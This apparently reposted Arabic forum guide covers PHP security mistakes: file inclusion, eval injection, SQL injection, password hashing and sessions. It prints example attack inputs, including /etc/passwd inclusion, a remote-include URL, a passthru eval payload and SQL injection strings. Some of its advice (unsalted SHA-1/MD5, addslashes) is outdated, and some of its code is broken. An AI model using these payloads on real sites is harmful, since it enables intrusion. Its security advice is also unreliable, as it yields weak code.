[ ط£ط®ط·ط§ط، ط§ظ„ظ…ط¨ط±ظ…ط¬ظٹظ† ط§ظ„ط£ظ…ظ†ظٹظ‡ ]



بسم الله الرحمن الرحيم


أهمية هذا المقال لمبرمجى اللغة هو التعرف على الأخطاء الأمنية العامة التى من الممكن أن تخلق ثغرات فى برامجهم و مع أن معظم المبادىء التى سوف أذكرها لحقاً تعتبر من البديهيات و لكن عدد لا بأس به من المبرمجين لا ينتبهون إلى مثل هذه الأخطاء ، و للأسف نحن جميعاً نفتقد التدريب الجيد على مفردات برامج صنعناها سابقاً بمعنى أنه من الثابت علمياً أن تنقيح و تطوير برمجيات كتبتها من قبل هو بمثابة تدريب جيد جداً لك لتلافى أخطائك السابقة و ايضاً لجعل شفرتك تحقق غاية البرنامج من طريق أسهل او أقصر ، ما علينا فلنبدأ.

1- لا تضمن فى برنامجك أبداً ملف مدخل من قبل مستخدم إلا بعد التأكد من إسم الملف (هناك عدة طرق للتأكد بالجافاسكربت ، أو بالبى اتش بى) ، أى لا تستخدم أبداً include , require , أو أى من دوال التضمين لملفات مدخلة حتى اسمائها من قبل مستخدمين قبل التأكد من صحة المدخلات.


مثال
رمز PHP:
<code style="white-space:nowrap"> <code> if(isset($page))
{
include(
$page);
}
</code> </code>



بما أنه لم يتم التأكد من إسم الملف $page و بناءً على أن register_globals فى وضع التشغيل مما يعنى أنه بإمكان المستخدم إدخال script.php?page=/etc/passwd
و بناءً على أنه عند تضمين أى إمتداد آخر غير بى اتش بى فإن مترجم اللغة يعرضه فى الصفحة كما هو إذا كان نص مثلاً ، تخيل أن شخصاً استطاع عرض /etc/passwd!!!!!

تأكد أيضاً من إعداد البى اتش بى الخاص بك حيث أن معظم الإعدادات يكون من المسموح فيها بتضمين ملفات من خوادم أخرى.


مثال
رمز PHP:
<code style="white-space:nowrap"> <code> script.php?page=http://mysite.com/mal_script.php
</code> </code>




بإمكان هذا المستخدم تنفيذ أى شفرة على موقعك مثل التعامل مع SSI أو قواعد بياناتك و الحل هو التحقق من صحة مدخلات المستخدم بوضع قاعدة تحقق عملية تخدم غرض برنامجك.


مثال
رمز PHP:
<code style="white-space:nowrap"> <code> $pages = array('index.html', 'page2.html', 'page3.html');
if(
in_array($page, $pages) )
{
include(
$page);
{
else
{
die(
"Foot Bokra");
}
</code> </code>




2- تمرير القيم المدخلة من قبل المستخدم لى الدالة eval لأنك بكل بساطة تعطى المستخدم الحق فى تنفيذ أى أوامر مثل:


رمز PHP:
<code style="white-space:nowrap"> <code> script.php?input=;passthru("cat /etc/paswd");
</code> </code>




و سوف يتسبب تنفيذ هذا الأمر إخراج ملف /etc/passwd.
إن إستخدام eval صحيح تماماً للتحقق من صحة مدخلات و لكن لابد من إستخدامها عند الضرورة ، لو أنك تستخدم فى برنامجك (Templates) مثلاً أو تستخدم الدالة لإستبدال المدخلات من قبل المستخدم ، إستخدم دالة sprintf بدلاً منها.


3- تأكد من الخروج من إستعلامات قواعد البيانات SQL Statement بمعنى أن اللغة نفسها تحتوى على خاصية الخروج من جمل SQL بإضافة شرطة مائلة \ قبل حروف معينة أدخلت بواسطة GET , POST , COOKIE و إحدى الأمثلة على هذه الحروف هو العلامة (') و لو أن المدخلات فى جملة joomla الإستعلام تحتوى هذه العلامة فإن مترجم اللغة سوف يضيف تلقائياً شرطة مائلة \ لكى لا يتم معاملة الحرف (') كجزء من الإستعلام ، مثلاً إذا أدخل المستخدم $name فى النموذج form و جملة joomla الإستعلام كالآتى:



رمز PHP:
<code style="white-space:nowrap"> <code> UPDATE users SET Name='$name' WHERE ID=1;
</code> </code>



إذا كان المتغير يحتوى على الحرف (') فسوف يضاف الشرطة المائلة \ قبل الحرف و بالتالى لن يؤثر الحرف (') على جملة joomla الإستعلام ، لنتخيل أن المستخدم أدخل المعطيات التالية:


رمز PHP:
<code style="white-space:nowrap"> <code> $name',Admin='1
</code> </code>



الآن إستطاع المستخدم إدخال متغير آخر فى جملة joomla الإستعلام و بالتالى حصل على المعلومات المطلوبة ، بإمكانك إستخدام الدوال التالية


رمز PHP:
<code style="white-space:nowrap"> <code> addslashes() أو mysql_escape_string()
</code> </code>



عند إستخدام متغيرات ممررة من خلال جملة joomla الإستعلام و سوف يقوم بإدخالها المستخدم ، أيضاً الدالة magic_quotes_gpc فهى تضيف الشرطة المائلة تلقائياً و لكنها قد لا تكون فى وضع التشغيل و تستطيع إستخدام الدالة get_magic_quotes_gpc() لمعرفة إذا كانت فى وضع التشغيل أم لا و الأسهل هو إستخدام addslashes() من خلال حلقة تكرارية لإضافة الشرطة المائلة \ لكل المدخلات الممررة من قبل المستخدم.

4- عند تخزين كلمات المرور فى قاعدة البيانات تأكد من تشفيرها قبل التخزين فى قاعدة البيانات ، لأن قواعد البيانات غالباً ما تتبع حزمة الإستضافة الخاصة بك و غالباً أيضاً ما تكون الإستضافة تشاركية Shared Hosting إذن نستخلص أنك قد لا تعلم بعض الأشخاص المخولين بالدخول لقواعد البيانات ، بإستطاعتك تشفير كلمات المرور بإستخدام تقنيات عدة مثل 3DES أو AES5 و تستطيع فك التشفير لفترة بسيطة للتأكد من أن المستخدم قد أدخل كلمة المرور الصحيحة و الميزة الأساسية فى هذه الطرق هو أنها تعتمد فى التشفير و فك التشفير على مفتاح key يعرفه مدير الموقع ، و لكن هذه الطرق المذكورة بطيئة جداً و تعتمد على لوغاريتمات معقدة و الحل الأمثل لهذه المشكلة هو إستخدام إحدى دوال التشفير الرقمية Session hash functions مثل دالة SHA-1 أو md5.


5- تابع أخطاء جمل إستعلام SQL
لنفترض أن جملة joomla الإستعلام التى تستخدمها فى برنامجك للتأكد من إسم المستخدم و كلمة المرور كالآتى:



رمز PHP:
<code style="white-space:nowrap"> <code> $stmnt = SELECT login_id FROM users WHERE user = '" .
$_POST&#91;"username"&#93; . "'
AND password = '" . $_POST&#91;"password"&#93;;
</code> </code>





لنفترض أيضاً أن المستخدم أدخل (#) بدلاً من كلمة المرور أى أن جملة joomla الإستعلام أصبحت كالتالى:



رمز PHP:
<code style="white-space:nowrap"> <code> SELECT login_id FROM users WHERE user = 'hani'; #' AND password = ''
</code> </code>




بمعنى أنه إستطاع تحويل باقى جملة joomla الإستعلام إلى تعليق بإستخدام الرمز (#) و من ثم أصبحت كلمة المرور خالية!!
إذن كل ما استخدمه المهاجم هو إسم مستخدم مسجل فى قاعدة البيانات و بالتالى إستخدم الرمز (#) لقصر جملة joomla الإستعلام عند الرمز (#) الذى أصبح ما بعده (بقية جملة joomla الإستعلام) عبارة عن تعليق و الحل ذكرناه مسبقاً بإستخدام addslashes().

6- إستكمالاً لما سبق عن أهمية تشفير كلمات المرور ، بى اتش بى تدعم تلقائياً دوال SHA-1 و أيضاً MD5 الذى تم تطويره فى التسعينيات و لكنه يدعم تشفير حتى 128-bit فقط ، مع العلم أن SHA-1 يدعم حتى 160-bit و سوف نستخدمه كمثال:






رمز PHP:
<code style="white-space:nowrap"> <code> $insertSql .= "'" . sha1($_POST&#91;"password1"&#93 . ", ";
</code> </code>




ربما تستغرب أننا لم نستخدم addslashes() كما أشرنا سابقاً و لكن لذلك سبب وجيه و هو أن SHA-1 تستخدم فقط الأرقام الستعشرية (Hexadecimal) أى (0 – 9 و A - F) بمعنى آخر الدالة لا تستخدم أى من الحروف الخطرة فى جمل الإستعلام مثل (').


بإمكانك التحقق من كلمتين المرور المشفرتين (المدخلة من قبل المستخدم ، و الموجودة مسبقاً فى قاعدة البيانات بإستخدام مثلاً:



رمز PHP:
<code style="white-space:nowrap"> <code> $loginQuery .= " password = '". sha1($_POST&#91;"password"&#93 . "'";
</code> </code>




إذا تم التأكد من كلمة المرور المدخلة بأنها مطابقة لتلك فى قاعدة البيانات فسوف نبدأ الجلسات إذن و أخطائها الأمنية.

7- الجلسات (Session)
أخطاء الجلسات الأمنية و التى تخلق ثغرات فى برنامجك تعتمد على ثلاثة طرق:
الطريقة الأولى هى الإعتراض أو التوقيف و يكون عن طريق إرسال معرف الجلسة كنص عادى عبر الشبكة و الحل لهذه الثغرة بإستخدام إتصال آمن بين المستخدم و الخادم SSL أو TLS على سبيل المثال ، و لا تنسى إستخدام الدالة session_set_cookie_params أو إعداد session.cookie_secure فى ملف ini ، و بهذه الطريقة عندما يطلب المستخدم صفحة معينة على الخادم فإن معرف الجلسة لن يرسل إلا إذا كان الإتصال مشفر بين الخادم و المستخدم.
الطريقة الثانية وهى التوقع فلو أن معرف الجلسة تم إختياره بشكل سىء (كأن يكون تعداداً تصاعدياً مثلاً) فإن المهاجم يستطيع تخمينه و بالتالى الحصول على معرف جلسة لا تخصه ، و الحل الأمثل هو ربط معرف الجلسة بشىء له علاقة بالمستخدم (جلب الـIP مثلاً) ثم إدخاله فى احدى دوال التشفير المذكورة سابقاً (SHA-1 أو MD5) و سوف يتم انتاج أرقام عشوائية بناءً على ذلك و لكن الخادم بإستطاعته مقارنتها و التأكد منها ما إذا كانت مملوكة للمستخدم أم لا.
الطريقة الثالثة و هى الإقتحام بالقوة أو بالأحرى البحث و تخمين طريقة عمل معرف الجلسة و من الممكن التخمين إذا كان المبرمج استخدم مثلاً أرقام ما بين 1 و 10.000 و الحل السابق يكفى لتفادى ذلك فقط تأكد من أن التشفير ليس أقل من 128-bit.

لنفرض أننا بدأنا جلسة ما بعد أن تأكدنا من كلمة مرور المستخدم session_start() لابد أن نعيد تصنيع معرف الجلسة خلال عملية الولوج و تعديل الـcookie عن طريق session_generate_id و بعد ذلك سوف نقوم بتخزين بعض البيانات التى حصلنا عليها من قاعدة البيانات فى الجلسة


رمز PHP:
<code style="white-space:nowrap"> <code> $_SESSION&#91;"user"&#93; = new User($userData->login_id, $userData->name, $userData->email, $userData->username);
</code> </code>



لاحظ المستخدم يتكون من: معرف الدخول login_id ، الإسم name ، البريد email ، إسم المستخدم username.

فى السطرين التاليين سوف نقوم بتخزين عنوان المستخدم IP و الوقت الذى بدأت فيه الجلسة



رمز PHP:
<code style="white-space:nowrap"> <code> $_SESSION&#91;"IP"&#93; = $_SERVER&#91;"REMOTE_ADDR"&#93;;
$_SESSION&#91;"timestamp"&#93; = time();
</code> </code>



الآن تمت عملية تسجيل الدخول

حماية المحتوى و التحكم فى الوصول للبيانات:
للتحكم فى الوصول للبيانات بطريقة سهلة لابد من المراجعة على بيانات الدخول و من العوامل المؤثرة التى تخلق ثغرات أمنية هو كيف تتم المراجعة على البيانات و أين توضع بيانات المراجعة.
على سبيل المثال &quot;includes/session.inc.php&quot; يحتوى على وظائف المراجعة (تستطيع تضمينه مع الملفات التى تريد حمايتها( ، و أسهل الطرق للتأكد من أن المستخدم له حق دخول المنطقة المحمية و الوصول للبيانات هو التأكد من أن الجلسة تم إعدادها بشكل صحيح و أنها تحتوى بعض بيانات المستخدم خلال عملية تسجيل الدخول و أول الخطوات هو التأكد من أن المتغيرات محددة فى مصفوفة $_SESSION


رمز PHP:
<code style="white-space:nowrap"> <code> if(!isset($_SESSION&#91;"user"&#93) {
die(
"Not logged in");
}
</code> </code>




أيضاً التأكد من معرف الدخول إذا كانت قيمته رقمية


رمز PHP:
<code style="white-space:nowrap"> <code> if(!is_numeric($_SESSION&#91;"user"&#93;->loginID)) {
die(
"Not logged in");
}
</code> </code>



الآن تأكدنا بشكل كبير من أن صاحب الجلسة قد مر بإجراءات تسجيل الدخول و بما أننا لا نعرف إذا كان المستخدم هو صاحب الجلسة الحقيقى فلابد أن نقارن عنوان الـIP بذلك المخزن لدينا إذا لم يكونا متطابقين فسوف نخرج المستخدم


رمز PHP:
<code style="white-space:nowrap"> <code> if($_SESSION&#91;"IP"&#93; != $_SERVER&#91;"REMOTE_ADDR"&#93 {
header("Location: user_logout.php");

}
</code> </code>





لو أن الوقت المخزن لدينا ليس أكثر من 30 دقيقة (1800 ثانية) سوف نقوم بتصفير الوقت و إعطاءه 30 دقيقة أخرى للتصفح و إذا كان أكثر سوف نقوم بإخراجه


رمز PHP:
<code style="white-space:nowrap"> <code> if((time() - $_SESSION&#91;"timestamp"&#93 > 1800) {
header("Location: user_logout.php?timeOut=1 ");
}
else {
$_SESSION&#91;"timestamp"&#93; = time();
}
</code> </code>




إن عملية إخراج المستخدم حاسمة جداً حيث أنه من المهم جداً قطع كل صلات البيانات المرتبطة بالجلسة أو بمعرف الجلسة عند إخراج المستخدم و السطر التالى لإخلاء المصفوفة وهذا يعنى أنه تم مسح البيانات السابقة حتى العنوان IP و التوقيت


رمز PHP:
<code style="white-space:nowrap"> <code> $_SESSION = array();
</code> </code>


بعد ذلك نخبر مترجم اللغة بإنهاء الجلسة


رمز PHP:
<code style="white-space:nowrap"> <code> session_destroy();
</code> </code>



أيضاً مهم جداً أن نمسح معرف الجلسة من الـcookie



رمز PHP:
<code style="white-space:nowrap"> <code> unset($_COOKIE&#91;session_name()&#93;
</code> </code>



منقول ...